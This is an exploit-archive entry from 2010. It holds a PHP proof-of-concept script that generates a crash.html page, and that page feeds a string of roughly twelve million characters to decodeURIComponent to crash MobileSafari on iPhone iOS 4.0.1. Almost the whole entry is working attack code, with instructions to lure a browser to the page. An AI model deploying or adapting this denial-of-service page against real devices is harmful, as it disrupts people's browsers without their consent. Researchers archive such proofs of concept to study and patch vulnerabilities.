Apple iPhone Safari (decodeURIComponent) Remote Crash

2010-12-22T00:00:00
ID 1337DAY-ID-13403
Type zdt
Reporter Yakir Wizman
Modified 2010-12-22T00:00:00

Description

Exploit for hardware platform in category dos / poc

                                        
                                            <?php
#     _             ____  __            __    ___
#    (_)____ _   __/ __ \/ /_____  ____/ /  _/_/ |
#   / // __ \ | / / / / / //_/ _ \/ __  /  / / / /
#  / // / / / |/ / /_/ / ,< /  __/ /_/ /  / / / /
# /_//_/ /_/|___/\____/_/|_|\___/\__,_/  / /_/_/ 
#                   Live by the byte     |_/_/ 
#
# Members:
#
# Pr0T3cT10n
# -=M.o.B.=-
# TheLeader
# Sro
# Debug
#
# Contact: [email protected]
#
# -----------------------------------
# The following code is a proof of concept for a crash vulnerability that exists in 'Apple iPhone MobileSafari'.
# Point your browser to the created file (crash.html) and see what happen ;)
# The vulnerable function is:
# * decodeURIComponent("A X 12000085");
# -----------------------------------
# Exploit Title: Apple iPhone Safari (decodeURIComponent) Remote Crash
# Date: 19/12/2010
# Author: Pr0T3cT10n
# Affected Version: IOS 4.0.1
# Tested on Apple iPhone 3GS, IOS 4.0.1, MobileSafari
# Launch Safari, point your browser to the page and safari will crash.
# ISRAEL, NULLBYTE.ORG.IL
$string = str_repeat('A', 12000085);
$code   = "<html>
    <head>
        <title>Apple iPhone 3 Safari (JavaScript - decodeURIComponent) Remote Crash</title>
    </head>
    <script type='text/javascript'>
        decodeURIComponent('{$string}');
    </script>
</html>";
if(file_put_contents("./crash.html", $code)) {
    echo("Point your safari mobile browser to `crash.html`.\r\n");
} else {
    echo("Cannot create file.\r\n");
}
?>



#  0day.today [2018-03-13]  #